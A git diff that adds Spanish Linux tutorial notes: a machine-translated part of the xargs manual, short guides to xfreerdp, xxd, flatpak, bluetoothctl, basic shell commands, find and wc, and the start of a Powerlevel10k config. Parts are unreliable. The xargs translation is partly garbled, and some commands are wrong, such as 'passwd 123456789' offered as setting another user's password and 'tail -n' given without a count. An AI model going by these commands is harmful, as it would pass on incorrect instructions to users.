tolerar la diferencia de rendimiento, simplemente haga arreglos para + cada proceso para producir un archivo de salida separado (o + de lo contrario, use recursos separados). + + -o, --open-tty + Vuelva a abrir stdin como /dev/tty en el proceso secundario anterior + ejecutando el comando. Esto es útil si quieres xargs + para ejecutar una aplicación interactiva. + + -p, --interactivo + Preguntar al usuario si debe ejecutar cada línea de comando y + leer una línea de la terminal. Solo ejecuta la línea de comando + si la respuesta comienza con 'y' o 'Y'. Implica -t . + + --process-slot-var = nombre + Establezca el nombre de la variable de entorno en un valor único en + cada proceso hijo en ejecución. Los valores se reutilizan una vez que el niño + los procesos salen. Esto se puede utilizar en una carga rudimentaria. + esquema de distribución, por ejemplo. + + -r, --no-ejecutar-si-vacío + Si la entrada estándar no contiene espacios que no sean espacios en blanco, no + no ejecutar el comando. Normalmente, el comando se ejecuta una vez + incluso si no hay entrada. Esta opción es un GNU + extensión. + + -s max-chars , --max-chars =max-chars + Usar como máximo caracteres max-chars por línea de comando, + incluyendo el comando y los argumentos iniciales y el + terminando nulos al final de las cadenas de argumentos. + El mayor valor permitido depende del sistema y es + calculado como el límite de longitud del argumento para exec, menos el + tamaño de su entorno, menos 2048 bytes de headroom. Si + este valor es más de 128KiB, 128Kib se utiliza como el + valor por defecto; de lo contrario, el valor predeterminado es el + máximo. 1 KiB son 1024 bytes. xargs se adapta automáticamente + a restricciones más estrictas. + + --mostrar-límites + Mostrar los límites en la longitud de la línea de comandos que son + impuesto por el sistema operativo, xargs 'elección de búfer + tamaño y la opción -s . Canalice la entrada desde /dev/null + (y tal vez especifique --no-run-if-empty ) si no quiere + que xargs haga nada. + + -t, --verbose + Imprima la línea de comando en la salida de error estándar antes + ejecutándolo + + -x, --exit + Salir si se excede el tamaño (ver la opción -s ). + + --help Imprime un resumen de las opciones para xargs y sale. + + --version + Imprime el número de versión de xargs y sale. + + Las opciones --max-lines ( -L , -l ), --replace ( -I , -i ) y --max- + args ( -n ) son mutuamente excluyentes. Si se especifican algunos + al mismo tiempo, xargs generalmente usará la opción + especificado en último lugar en la línea de comando, es decir, restablecerá el valor + de la opción infractora (dada antes) a su valor predeterminado. + Además, xargs emitirá un diagnóstico de advertencia en stderr . + La excepción a esta regla es que el valor especial max-args 1 + (' -n 1 ') se ignora después de la opción --replace y sus alias -I + y -i , porque en realidad no entraría en conflicto. + + ``` diff --git a/Web/Herramientas_y_Scripts/xfreerdp.md b/Web/Herramientas_y_Scripts/xfreerdp.md new file mode 100644 index 00000000000..20bd1d109b6 --- /dev/null +++ b/Web/Herramientas_y_Scripts/xfreerdp.md @@ -0,0 +1,45 @@ + + # xFreeRDP + +`xfreerdp` es un cliente X11 Remote Desktop Protocol (RDP) que forma parte de FreeRDP +proyecto. Un servidor RDP está integrado en muchas ediciones de Windows. Servidores alternativos +incluido xrdp y VRDP (VirtualBox). + +## Instalación: + +Para instalarlo a través de la terminal en sistemas basados en Debian podemos utilizar el siguiente comando: + + sudo apt install freerdp2-x11 + +## Sintaxis: + +La sintaxis es muy básica, debemos añadir al comando el `Host` al que queremos conectarnos, el `Usuario` y una `Contraseña` + + sudo xfreerdp /v:[HOST] /u:[Usuario] /p:[Contraseña] + +`Ejemplo:` + + sudo xfreerdp /v:10.10.10.10 /u:f1r0x /p:12345 + + +--- +--- + + + + + + + + + + + + + diff --git a/Web/Herramientas_y_Scripts/xxd.md b/Web/Herramientas_y_Scripts/xxd.md new file mode 100644 index 00000000000..1edfe4a53dc --- /dev/null +++ b/Web/Herramientas_y_Scripts/xxd.md @@ -0,0 +1,64 @@ +# XXD + +* Convertir un texto en hexadecimal. +* Convertir de hexadecimal a texto plano. + + +# Cómo codificar y descodificar texto en hexadecimal con xxd. + +El comando xxd en Linux puede convertir un archivo dado o una entrada estándar en forma hexadecimal, y también puede convertir +hexadecimal de nuevo a forma binaria. + + +## Convertir un texto en hexadecimal con xxd. + + echo "[Texto]" | xxd + + echo "Hola Mundo" | xxd + +![Captura de pantalla 2022-07-29 184955](https://user-images.githubusercontent.com/103068924/181807685-861a5bd8-9f82-411e-9be0-865c57a84fcf.png) + +Vemos como nos reporta una cadena en hexadecimal. Para ver únicamente la cadena hexadecimal podemos añadir la opción `-ps`: + + echo "[Texto]" | xxd -ps + + echo "Hola Mundo" | xxd -ps + +![Captura de pantalla 2022-07-29 185048](https://user-images.githubusercontent.com/103068924/181807753-d1370d41-9bec-4a2d-aca3-b3d4d0a3bd59.png) + + +## Convertir de hexadecimal a texto plano: + +Para pasar de hexadecimal a texto plano utilizaremos la opción `-r` para el cambio y `-ps` para mostrar el texto por consola. + + echo "486f6c61204d756e646f0a" | xxd -ps -r + +![Captura de pantalla 2022-07-29 185105](https://user-images.githubusercontent.com/103068924/181807787-f9b4db41-ad04-4cd1-b395-256e2ec819cb.png) + + + +--- +--- + + + + + + + + + + + + + + + +--- +--- diff --git a/Web/Linux/GnomeTwitch.md b/Web/Linux/GnomeTwitch.md new file mode 100644 index 00000000000..3d8030de9de --- /dev/null +++ b/Web/Linux/GnomeTwitch.md @@ -0,0 +1,54 @@ +# Como Instalar Gnome Twitch en ParrotOS o Kali Linux mediante Flatpak. + +En este artículo se mostrará como instalar `Gnome Twitch` a través de sus repositorio oficiales para poder operar +comodamente desde nuestra distribución Linux. + +Para poder descargarnos Gnome Twitch vamos a necesitar la herramienta `flatpak`. Flatpak es una tecnología para +crear, distribuir, instalar y ejecutar aplicaciones. Para instalarnos flatpak simplemente ejecutamos el siguiente comando: + + sudo apt install flatpak + +![Captura de pantalla -2022-05-11 10-41-34](https://user-images.githubusercontent.com/103068924/167813368-e40bcfdd-0367-4c10-96dc-8f2bd8125f1c.png) + +Una vez instalado ya podemos pasar a descargarnos Gnome Twithc, para ello ejecutamos los siguientes comandos: + + flatpak remote-add flathub https://flathub.org/repo/flathub.flatpakrepo + + flatpak install flathub com.vinszent.GnomeTwitch + +![Captura de pantalla -2022-05-11 10-42-58](https://user-images.githubusercontent.com/103068924/167813428-e038ab7c-894a-4c11-b118-4d0c62d9da96.png) + +Tras realizar la intalación tendremos que reiniciar el equipo para que Twitch nos aparezca en nuestro directorio +y podamos ejecutarlo de forma eficiente. Una vez reiniciado el equipo, para ejecutarlo utilizaremos `flatpak` +seguida de la opciòn `run` y el nombre del programa: + + flatpak run com.vinszent.GnomeTwitch + +--- +--- + + + + + + + + + + + + + + + +--- +--- + + + diff --git "a/Web/Linux/Introducci\303\263n_a_Linux/Bluetoothctl.md" "b/Web/Linux/Introducci\303\263n_a_Linux/Bluetoothctl.md" new file mode 100644 index 00000000000..0c3d057bd73 --- /dev/null +++ "b/Web/Linux/Introducci\303\263n_a_Linux/Bluetoothctl.md" @@ -0,0 +1,54 @@ +![Snoop-on-Bluetooth-Devices-Using-Kali-Linux-Tutorial-1200x1200](https://user-images.githubusercontent.com/103068924/166144285-23e8c170-fb23-48b5-8e1c-28789962e43f.jpg) + +# Administrador Bluetooth de Linux. + +Para poder abrir el gestor de bluetooth desde la terminal de Linux, utilizaremos el siguiente comando: + + bluetoothctl + +![Captura de pantalla -2022-05-01 13-33-44](https://user-images.githubusercontent.com/103068924/166144293-751d6490-cb12-48af-bffe-a258dbf4b8a3.png) + +![Captura de pantalla -2022-05-01 13-34-37](https://user-images.githubusercontent.com/103068924/167509081-4b8466f9-5b40-4b67-9804-5694653dfff8.png) + +Para ver todos los comandos disponibles podemos ejecutar el siguiente comando o una vez dentro de la shell de bluetoothctl escribir `help`: + + bluetoot help + +![Captura de pantalla -2022-05-01 13-35-26](https://user-images.githubusercontent.com/103068924/166144307-4459feee-09cc-4493-af0e-1844e7393329.png) + +![Captura de pantalla -2022-05-01 13-35-57](https://user-images.githubusercontent.com/103068924/166144311-5f84a69f-eead-489c-bb4c-6f160451375b.png) + +Para poder ver las epecificaciones de nuestro administrador Bluetooth: + + show + +![Captura de pantalla -2022-05-01 13-45-24](https://user-images.githubusercontent.com/103068924/167509402-bffae03e-221f-4892-b29d-b283207ba20f.png) + +Para realizar una búsqueda de los dispositivos: + + scan on + +![Captura de pantalla -2022-05-01 13-50-29](https://user-images.githubusercontent.com/103068924/166144508-d2f2a074-ff6a-4aaf-bdc1-12a4f6dd0483.png) + +Para detener la búsqueda: + + scan off + +Para conectarnos con un dispositivo: + + connect [Núm. MAC] + +El `número MAC` es el número que corresponde con el dispositivo que se nos muestra en el escaneo. + +Una vez conectados podemos salir de la shell simplemente escribiendo `exit`. + +### Failed to start discovery: org.bluez.Error.NotReady + +Para solucionar este error simplemente volvemos activar el controlador: + + bluetoothctl power on + +![Captura de pantalla -2022-05-10 00-15-20](https://user-images.githubusercontent.com/103068924/167509618-6907f818-fe01-4c24-a917-b73ed4a1dfe2.png) + + + diff --git "a/Web/Linux/Introducci\303\263n_a_Linux/Comandos_b\303\241sicos_Linux.md" "b/Web/Linux/Introducci\303\263n_a_Linux/Comandos_b\303\241sicos_Linux.md" new file mode 100644 index 00000000000..7c4f9a65f9e --- /dev/null +++ "b/Web/Linux/Introducci\303\263n_a_Linux/Comandos_b\303\241sicos_Linux.md" @@ -0,0 +1,267 @@ +# Comandos Básicos de Linux + +Linux es una familia completa de sistemas operativos Unix de código abierto, que se basan en el kernel de Linux. Esto incluye todos los sistemas +basados en Linux más populares como Ubuntu, Fedora, Mint, Debian y otros. Más exactamente, se llaman distribuciones o versiones. + +Al operar un sistema operativo Linux, debes usar un shell, una interfaz que te da acceso a los servicios del sistema operativo. La mayoría de +las distribuciones de Linux utilizan una interfaz gráfica de usuario (GUI) como shell, principalmente para proporcionar facilidad de uso a sus usuarios. + +## pwd +Usa el comando pwd para encontrar la ruta del directorio (carpeta) de trabajo actual en el que te encuentras. El comando devolverá una ruta absoluta +(completa), que es básicamente una ruta de todos los directorios que comienzan con una barra diagonal (/) Un ejemplo de una ruta absoluta es +`/home/nombredeusuario`. + +## cd +Para navegar por los archivos y directorios de Linux, usa el comando cd. Te pedirá la ruta completa o el nombre del directorio, dependiendo del +directorio de trabajo actual en el que te encuentres. + +Supongamos que estás en `/home/nombredeusuario/Documentos` y deseas ir a `Fotos`, un subdirectorio de `Documentos`. Para hacerlo, simplemente escribe el siguiente comando: + + cd Fotos + +Otro escenario es si deseas ir a un directorio completamente nuevo, por ejemplo, `/home/nombredeusuario/Peliculas`. En este caso, debes escribir `cd` seguido de la ruta absoluta del directorio: + + cd /home/ nombredeusuario/Peliculas. + +Hay algunos atajos para ayudarte a navegar rápidamente: + +`cd ..` : (Con dos puntos) Para ir un directorio hacia arriba. +`cd ` : Para ir directamente a la carpeta de inicio. +`cd-` : (Con un guión) Para ir al directorio anterior. + +Como nota al margen, el shell de Linux distingue entre mayúsculas y minúsculas. Por lo tanto, debes escribir el nombre del directorio de forma exacta. + +## ls +El comando ls se usa para ver el contenido de un directorio. Por defecto, este comando mostrará el contenido de tu directorio de trabajo actual. + +Si deseas ver el contenido de otros directorios, escribe ls y luego la ruta del directorio. Por ejemplo, ingresa `ls /home/nombredeusuario/Documentos` +para ver el contenido de Documentos. + +Hay variaciones que puedes usar con el comando `ls`: + +`ls -R` : También listará todos los archivos en los subdirectorios. +`ls -a` : Mostrará los archivos ocultos. +`ls -al` : Listará los archivos y directorios con información detallada como los permisos, el tamaño, el propietario, etc. + +## cat +cat (abreviatura de concatenate, en inglés) es uno de los comandos más utilizados en Linux. Se utiliza para listar el contenido de un archivo en la +salida estándar (sdout). Para ejecutar este comando, escribe cat seguido del nombre del archivo y su extensión. Por ejemplo: + + cat archivo.txt. + +Aquí hay otras formas de usar el comando cat: + +`cat > nombredearchivo` : Crea un nuevo archivo. +`cat nombredearchivo1 nombredearchivo2>nombredearchivo3` : Une dos archivos (1 y 2) y almacena la salida de ellos en un nuevo archivo (3). +`cat nombredearchivo | tr a-z A-Z> salida.txt` : Convertir un archivo a mayúsculas o minúsculas. + +## cp +Usa el comando cp para copiar archivos del directorio actual a un directorio diferente. Por ejemplo, el comando `cp escenario.jpg +/home/nombredeusuario/Imagenes` crearía una copia de escenario.jpg (desde tu directorio actual) en el directorio de **Imagenes**. + +## mv +El uso principal del comando mv es mover archivos, aunque también se puede usar para cambiar el nombre de los archivos. + +Los argumentos en mv son similares al comando cp. Debes escribir `mv`, el `nombre del archivo` y el `directorio destino`. +Por ejemplo: + + mv archivo.txt /home/nombredeusuario/Documentos. + +Para **cambiar el nombre** de los archivos, el comando de Linux es: + + mv nombreviejo.ext nombrenuevo.ext + +## mkdir +Usa el comando mkdir para crear un nuevo directorio: si escribes `mkdir Musica`, creará un directorio llamado Musica. + +También hay comandos adicionales de mkdir: + +Para generar un nuevo directorio dentro de otro directorio, usa este comando básico de Linux `mkdir Musica/Nuevoarchivo`. +Usa la opción `p` (padres) para crear un directorio entre dos directorios existentes. +Por ejemplo, `mkdir -p Musica/2020/Nuevoarchivo` creará el nuevo archivo **2020**. + +## rmdir +Si necesitas eliminar un directorio, usa el comando rmdir. Sin embargo, rmdir solo te permite eliminar directorios vacíos. + +## rm +El comando rm se usa para eliminar directorios y el contenido dentro de ellos. Si solo deseas eliminar el directorio, como alternativa a rmdir, +usa `rm -r`. + +**Nota:** Ten mucho cuidado con este comando y verifica en qué directorio te encuentras. Este comando elimina todo y no se puede deshacer. + +## touch +El comando touch te permite crear un nuevo archivo en blanco a través de la línea de comando de Linux. +Como ejemplo, ejecuta `touch /home/nombredeusuario/Documentos/Web.html` para crear un archivo HTML titulado **Web** en el directorio **Documentos**. + +## locate +Puedes usar este comando para localizar un archivo, al igual que el comando de búsqueda en Windows. Además, el uso del argumento `-i` junto con este +comando hará que no distinga entre mayúsculas y minúsculas, por lo que puedes buscar un archivo incluso si no recuerdas su nombre exacto. + +Para buscar un archivo que contenga dos o más palabras, usa un asterisco `*`. +Por ejemplo, el comando `locate -i escuela*nota` buscará cualquier archivo que contenga la palabra `escuela` y `nota`, ya sea en mayúsculas o minúsculas. + +## find +Similar al comando locate, usando find también buscas archivos y directorios. La diferencia es que usas el comando find para ubicar archivos dentro +de un directorio dado. + +Como ejemplo, el comando `find /home/ -name notas.txt` buscará un archivo llamado **notas.txt** dentro del directorio de inicio y sus subdirectorios. + +Otras variaciones al usar find son: + +Para buscar archivos en el directorio actual, `find . -name notas.txt`. +Para buscar directorios, `find / -type d -name notes.txt`. + +## grep +Otro comando básico de Linux que sin duda es útil para el uso diario es grep. Te permite buscar a través de todo el texto en un archivo dado. + +Para ilustrar, `grep azul notepad.txt` buscará la palabra **azul** en el archivo del bloc de notas. Las líneas que contienen la palabra buscada +se mostrarán. + +## sudo +Abreviatura de «SuperUser Do» (SuperUsuario hace), este comando te permite realizar tareas que requieren permisos administrativos o raíz. +Sin embargo, no es aconsejable usar este comando para el uso diario, ya que podría ser fácil que ocurra un error si haces algo mal. + +## df +Usa el comando df para obtener un informe sobre el uso del espacio en disco del sistema, que se muestra en porcentaje y KB. Si deseas ver el informe +en megabytes, escribe `df -m`. + +## du +Si deseas verificar cuánto espacio ocupa un archivo o un directorio, el comando du (Uso del disco, en inglés) es la respuesta. Sin embargo, el +resumen de uso del disco mostrará números de bloque de disco en lugar del formato de tamaño habitual. Si deseas verlo en bytes, kilobytes y +megabytes, agrega el argumento `-h` a la línea de comando. + +## head +El comando head se usa para ver las primeras líneas de cualquier archivo de texto. De manera predeterminada, mostrará las primeras diez líneas, +pero puedes cambiar este número a tu gusto. +Por ejemplo, si solo deseas mostrar las primeras cinco líneas, escribe: + + head -n 5 nombredearchivo.ext. + +## tail +Este tiene una función similar al comando head, pero en lugar de mostrar las primeras líneas, el comando tail mostrará las últimas diez líneas de +un archivo de texto. Por ejemplo: + + tail -n nombredearchivo.ext + +## diff +Para abreviar diferencia, el comando diff compara el contenido de dos archivos línea por línea. Después de analizar los archivos, genera las líneas +que no coinciden. Los programadores a menudo usan este comando cuando necesitan hacer modificaciones al programa en lugar de reescribir todo el +código fuente. + +La forma más simple de usar este comando es: + + diff archivo1.ext archivo2.ext + +## tar +El comando tar es el comando más utilizado para guardar múltiples archivos en un tarball, un formato de archivo de Linux común que es similar al +formato zip, con compresión opcional. + +Este comando es bastante complejo con una larga lista de funciones, como agregar nuevos archivos a un archivo existente, enumerar el contenido de +un archivo, extraer el contenido de un archivo y muchos más. + +## chmod +chmod es otro comando de Linux, utilizado para cambiar los permisos de lectura, escritura y ejecución de archivos y directorios. Como este comando es +bastante complicado, puedes leer el tutorial completo (en inglés) para ejecutarlo correctamente. + +## chown +En Linux, todos los archivos son propiedad de un usuario específico. El comando chown te permite cambiar o transferir la propiedad de un archivo al +nombre de usuario especificado. Por ejemplo, `chown usuariolinux2 archivo.ext` hará que usuariolinux2 sea el propietario del archivo.ext. + +## jobs +El comando jobs mostrará todos los trabajos actuales junto con sus estados. Un trabajo es básicamente un proceso iniciado por el shell. + +## kill +Si tienes un programa que no responde, puedes cerrarlo manualmente utilizando el comando kill. Enviará una cierta señal al programa que se está +ejecutando mal y le indica a la aplicación que finalice. + +Hay un total de sesenta y cuatro señales que puedes usar, pero las personas generalmente solo usan dos señales: + +`SIGTERM (15)` : Solicita que un programa deje de ejecutarse y te da algo de tiempo para guardar todo tu progreso. Si no especificas la señal al +ingresar el comando kill, se utilizará esta señal. + +`SIGKILL (9)` : Obliga a los programas a detenerse inmediatamente. El progreso no guardado se perderá. + +Además de conocer las señales, también debes conocer el número de identificación del proceso (PID) del programa que deseas detener (kill). Si no +conoces el PID, simplemente ejecute el comando `ps ux`. + +Después de saber qué señal deseas usar y el PID del programa, ingresa la siguiente sintaxis: + + kill [opción de señal] PID. + +## ping +Usa el comando ping para verificar tu estado de conectividad a un servidor. Por ejemplo, simplemente ingresando `ping google.com`, el comando +verificará si puedes conectarte a Google y también medirá el tiempo de respuesta. + +## wget +La línea de comandos de Linux es muy útil: incluso puedes descargar archivos de Internet con la ayuda del comando wget. Para hacerlo, simplemente escribe `wget` seguido del enlace de descarga. + +## uname +El comando uname, abreviatura de Nombre de Unix, imprimirá información detallada sobre tu sistema Linux, como el nombre de la máquina, el sistema +operativo, el núcleo, etc. + +## top +Como un terminal equivalente al Administrador de tareas en Windows, el comando top mostrará una lista de los procesos en ejecución y la cantidad de CPU +que utiliza cada proceso. Es muy útil monitorear el uso de los recursos del sistema, especialmente para saber qué proceso debe terminarse porque consume +demasiados recursos. + +## history +Cuando hayas estado utilizando Linux durante un cierto período de tiempo, notarás rápidamente que puedes ejecutar cientos de comandos todos los días. Como tal, ejecutar el comando history es particularmente útil si deseas revisar los comandos que ingresaste anteriormente. + + +## man +¿Confundido sobre la función de ciertos comandos de Linux? No te preocupes, puedes aprender fácilmente cómo usarlos directamente desde el shell de +Linux mediante el comando man. Por ejemplo, al ingresar man tail se mostrarán las instrucciones manuales del comando tail. + +## echo +Este comando se usa para mover algunos datos a un archivo. Por ejemplo, si deseas agregar el texto «Hola, mi nombre es John» en un archivo llamado +**nombre.txt**, debes escribir: `echo Hola, mi nombre es John >> nombre.txt`. + + +## zip, unzip +Usa el comando `zip` para **comprimir tus archivos** en un archivo zip y use el comando `unzip` para **extraer los archivos comprimidos** de un +archivo zip. + +## hostname +Si deseas conocer el nombre de tu host/red, simplemente escribe hostname. Agregar un `-I` al final mostrará la dirección IP de tu red. + +## useradd, userdel +Dado que Linux es un sistema multiusuario, esto significa que más de una persona puede interactuar con el mismo sistema al mismo tiempo. `useradd` se +usa para crear un nuevo usuario, mientras que `passwd` agrega una contraseña a la cuenta de ese usuario. Para agregar una nueva persona llamada John, +escribe `useradd John` y luego para agregar su contraseña, escribe `passwd 123456789`. + +**Eliminar un usuario** es muy similar a agregar un nuevo usuario. Para eliminar la cuenta de usuario, escribe `userdel NombredeUsuario`. + +## clear +Para limpiar el terminal si se está abarrotando con demasiados comandos pasados. + + +--- +--- + + + + + + + + + + + + + + + +--- +--- + + + + + diff --git "a/Web/Linux/Introducci\303\263n_a_Linux/Introducci\303\263n_a_Linux.md" "b/Web/Linux/Introducci\303\263n_a_Linux/Introducci\303\263n_a_Linux.md" new file mode 100644 index 00000000000..ccf356e436c --- /dev/null +++ "b/Web/Linux/Introducci\303\263n_a_Linux/Introducci\303\263n_a_Linux.md" @@ -0,0 +1,65 @@ +# Introducción a Linux + +## ¿Qué es Linux? + +GNU/Linux es un sistema operativo (o una familia +de sistemas operativos) tipo Unix compuesto por +software libre y de código abierto. + +GNU/Linux surge de las contribuciones de varios proyectos +de software, entre los cuales destacan GNU +(iniciado por Richard Stallman en 1983) y el +kernel «Linux» (iniciado por Linus Torvalds +en 1991). + +«Linux» es solo el nombre del kernel o +núcleo, ya que el sistema completo está +formado también por una gran cantidad de +componentes del proyecto GNU junto a componentes +de terceros, que van desde compiladores +hasta entornos de escritorio. + +​Cabe señalar que existen derivados que usan el +núcleo Linux pero que no tienen componentes +GNU, como por ejemplo el sistema operativo Android. +También existen distribuciones de software GNU +donde el núcleo Linux está ausente. + +Los sistemas operativos GNU/Linux se encuentran +normalmente en forma de compendios conocidos como +distribuciones o distros. Entre las más populares +se encuentran Debian, Ubuntu, Red Hat y SUSE. + +El propósito de estas distribuciones es +ofrecer GNU/Linux como un producto final para +instalar o probar en un ordenador, cubriendo +una gama de necesidades que van desde el uso +cotidiano personal hasta aplicaciones muy +específicas en ambientes especializados. + +--- +--- + + + + + + + + + + + + + + + +--- +--- + diff --git "a/Web/Linux/Introducci\303\263n_a_Linux/find.md" "b/Web/Linux/Introducci\303\263n_a_Linux/find.md" new file mode 100644 index 00000000000..19eeb0dee47 --- /dev/null +++ "b/Web/Linux/Introducci\303\263n_a_Linux/find.md" @@ -0,0 +1,46 @@ +# Como Buscar Archivos en Linux + +## Buscar archivos por nombre o extensión: + + +Esta es la parte más esencial del uso del comando Find y para ello se requiere bien sea saber el nombre del objeto o su extensión (.mp4, .txt, . jpg, etc) +con el fin de obtener un resultado directo. + + find -name 'Nombre del Archivo' + +Esta busqueda nos repotará el dirctorio que contiene el archivo en caso de que exista. + +En caso de desear buscar unicamente por una extensión concreta como por ejemplo `.jpg` podemos realizar lo siguiente: + + find -name "*.jpg" + + +--- +--- + + + + + + + + + + + + + + + +--- +--- + + + + diff --git "a/Web/Linux/Introducci\303\263n_a_Linux/wc.md" "b/Web/Linux/Introducci\303\263n_a_Linux/wc.md" new file mode 100644 index 00000000000..87535df5d76 --- /dev/null +++ "b/Web/Linux/Introducci\303\263n_a_Linux/wc.md" @@ -0,0 +1,33 @@ + +# Cómo contar líneas, palabras o bytes de un archivo con el comando WC + +## ¿Qué es WC? + +El comando `wc` muestra información estadística sobre un archivo, como el número de líneas, palabras y caracteres. + +## Cómo se utiliza: + +Para utilizar el comando `wc` debemos de respetar la siguiente sintaxis: + + wc [Opciones] [Archivos] + +El comando wc tiene las siguientes opciones: + +* `-l, –lines`: Imprime solo el número de líneas. +* `-w, –words`: Imprime solo el número de palabras. +* `-c, –bytes`: Imprime solo el número de bytes. +* `-m, –chars`: Imprime el número de caracteres (diferente del número de bytes para los archivos que no son de texto). +* `-L, –max-line-length`: Imprime la longitud de la línea más larga del fichero. +* `–files0-from=F`: Obtiene los nombres de los archivos del archivo F (los nombres de los archivos deben estar separados por el carácter NULL). + +## Ver el número de líneas de un archivo: + + wc -l archivo + +## Ver el número de palabras de un archivo: + + wc -w archivo + +## Ver el número de bytes de un archivo: + + wc -c archivo diff --git a/Web/Linux/Linux.md b/Web/Linux/Linux.md new file mode 100644 index 00000000000..4e720cf7836 --- /dev/null +++ b/Web/Linux/Linux.md @@ -0,0 +1,73 @@ +![Linux-matrix-banner-1200x288](https://user-images.githubusercontent.com/103068924/165993945-1e654b48-64c2-48b6-bd66-8e87763d9b50.jpg) + +Aquí podéis encontrar gran variedad de artículos basados en el ecosistema Linux. Se muestra tanta información básica de Linux, instalación y ejecución +de dispositivos, gestores y administradores de terminales, etc. En mi caso estoy utilizando ParrotOS que es un sistema operativo basado en Debian. + +# Introducción a Linux: + +* ¿Qué es Linux? +* Comandos Básicos en Linux. +* Listar y Borrar Procesos en Linux. +* Búsqueda de Archivos utilizando `Find` en Linux. +* Manual de Comandos Generale de la herramienta `Xargs` +* Cómo ver el número de palabras, líneas y bytes de un archivo utilizando `WC`. +* Búsqueda y reconocimiento exhaustivo de archivos en Linux. +* Listar Privilegios SUID. +* Directorio `/var/www` (Archivos que compoene la web) `Escalda Privilegios`. + + +# Escalada de Privilegios: + +Escalada Básica de Privilegios en Linux --> Link + +# Dispositivos: + +* Bluetoothctl +* Ventoy + +# Programas de Descargas: +Estos son distintos programas de Descarga de archivos para diferentes plataformas y archivos. + +### Torrent +Para descargar archivos Torrent desde la Terminal. + +* Aria2 + +### Youtube +Para descargar tanto vídeos como audio de Youtube desde la Terminal. + +* Youtube-dl + +# Intérprete de Comandos: +Un intérprete de órdenes o de comandos, es un programa informático que tiene la capacidad de traducir las órdenes que introducen los usuarios, mediante un conjunto de instrucciones facilitadas por él mismo directamente al núcleo y al conjunto de herramientas que forman el sistema operativo. + +* ZSH + + + +--- +--- + + + + + + + + + + + + + + + +--- +--- + diff --git a/Web/Linux/PowerLevel10k/(root).p10k.zsh b/Web/Linux/PowerLevel10k/(root).p10k.zsh new file mode 100644 index 00000000000..a0601736aee --- /dev/null +++ b/Web/Linux/PowerLevel10k/(root).p10k.zsh @@ -0,0 +1,1650 @@ +# Para el Usurio Root +# Generated by Powerlevel10k configuration wizard on 2022-03-24 at 02:24 CET. +# Based on romkatv/powerlevel10k/config/p10k-classic.zsh, checksum 55273. +# Wizard options: nerdfont-complete + powerline, large icons, classic, unicode, dark, +# angled separators, blurred heads, blurred tails, 1 line, sparse, many icons, fluent, +# transient_prompt, instant_prompt=quiet. +# Type `p10k configure` to generate another config. +# +# Config for Powerlevel10k with classic powerline prompt style. Type `p10k configure` to generate +# your own config based on it. +# +# Tip: Looking for a nice color? Here's a one-liner to print colormap. +# +# for i in {0..255}; do print -Pn "%K{$i} %k%F{$i}${(l:3::0:)i}%f " ${${(M)$((i%6)):#3}:+$'\n'}; done + +# Temporarily change options. +'builtin' 'local' '-a' 'p10k_config_opts' +[[ ! -o 'aliases' ]] || p10k_config_opts+=('aliases') +[[ ! -o 'sh_glob' ]] || p10k_config_opts+=('sh_glob') +[[ ! -o 'no_brace_expand' ]] || p10k_config_opts+=('no_brace_expand') +'builtin' 'setopt' 'no_aliases' 'no_sh_glob' 'brace_expand' + +() { + emulate -L zsh -o extended_glob + + # Unset all configuration options. This allows you to apply configuration changes without + # restarting zsh. Edit ~/.p10k.zsh and type `source ~/.p10k.zsh`. + unset -m '(POWERLEVEL9K_*|DEFAULT_USER)~POWERLEVEL9K_GITSTATUS_DIR' + + # Zsh >= 5.1 is required. + autoload -Uz is-at-least && is-at-least 5.1 || return + + # The list of segments shown on the left. Fill it with the most important segments. + typeset -g POWERLEVEL9K_LEFT_PROMPT_ELEMENTS=( + os_icon # os identifier + dir # current directory +# vcs # git status + status + command_execution_time + context + # prompt_char # prompt symbol + ) + + # The list of segments shown on the right. Fill it with less important segments. + # Right prompt on the last prompt line (where you are typing your commands) gets + # automatically hidden when the input line reaches it. Right prompt above the + # last prompt line gets hidden if it would overlap with left prompt. + typeset -g POWERLEVEL9K_RIGHT_PROMPT_ELEMENTS=( +# status # exit code of the last command +# command_execution_time # duration of the last command +# background_jobs # presence of background jobs +# direnv # direnv status (https://direnv.net/) +# asdf # asdf version manager (https://github.com/asdf-vm/asdf) +# virtualenv # python virtual environment (https://docs.python.org/3/library/venv.html) +# anaconda # conda environment (https://conda.io/) +# pyenv # python environment (https://github.com/pyenv/pyenv) +# goenv # go environment (https://github.com/syndbg/goenv) +# nodenv # node.js version from nodenv (https://github.com/nodenv/nodenv) +# nvm # node.js version from nvm (https://github.com/nvm-sh/nvm) +# nodeenv # node.js environment (https://github.com/ekalinin/nodeenv) + # node_version # node.js version + # go_version # go version (https://golang.org) + # rust_version # rustc version (https://www.rust-lang.org) + # dotnet_version # .NET version (https://dotnet.microsoft.com) + # php_version # php version (https://www.php.net/) + # laravel_version # laravel php framework version (https://laravel.com/) + # java_version # java version (https://www.java.com/) + # package # name@version from package.json (https://docs.npmjs.com/files/package.json) +# rbenv # ruby version from rbenv (https://github.com/rbenv/rbenv) +# rvm # ruby version from rvm (https://rvm.io) +# fvm # flutter version management (https://github.com/leoafarias/fvm) +# luaenv # lua version from luaenv (https://github.com/cehoffman/luaenv) +# jenv # java version from jenv (https://github.com/jenv/jenv) +# plenv # perl version from plenv (https://github.com/tokuhirom/plenv) +# perlbrew # perl version from perlbrew (https://github.com/gugod/App-perlbrew) +# phpenv # php version from phpenv (https://github.com/phpenv/phpenv) +# scalaenv # scala version from scalaenv (https://github.com/scalaenv/scalaenv) +# haskell_stack # haskell version from stack (https://haskellstack.org/) +# kubecontext # current kubernetes context (https://kubernetes.io/) +# terraform # terraform workspace (https://www.terraform.io) + # terraform_version # terraform version (https://www.terraform.io) +# aws # aws profile (https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-profiles.html) +# aws_eb_env # aws elastic beanstalk environment (https://aws.amazon.com/elasticbeanstalk/) +# azure # azure account name (https://docs.microsoft.com/en-us/cli/azure) +# gcloud # google cloud cli account and project (https://cloud.google.com/) +# google_app_cred # google application credentials (https://cloud.google.com/docs/authentication/production) +# toolbox # toolbox name (https://github.com/containers/toolbox) +# context # user@hostname +# nordvpn # nordvpn connection status, linux only (https://nordvpn.com/) +# ranger # ranger shell (https://github.com/ranger/ranger) +# nnn # nnn shell (https://github.com/jarun/nnn) +# xplr # xplr shell (https://github.com/sayanarijit/xplr) +# vim_shell # vim shell indicator (:sh) +# midnight_commander # midnight commander shell (https://midnight-commander.org/) +# nix_shell # nix shell (https://nixos.org/nixos/nix-pills/developing-with-nix-shell.html) +# vi_mode # vi mode (you don't need this if you've enabled prompt_char) + # vpn_ip # virtual private network indicator + 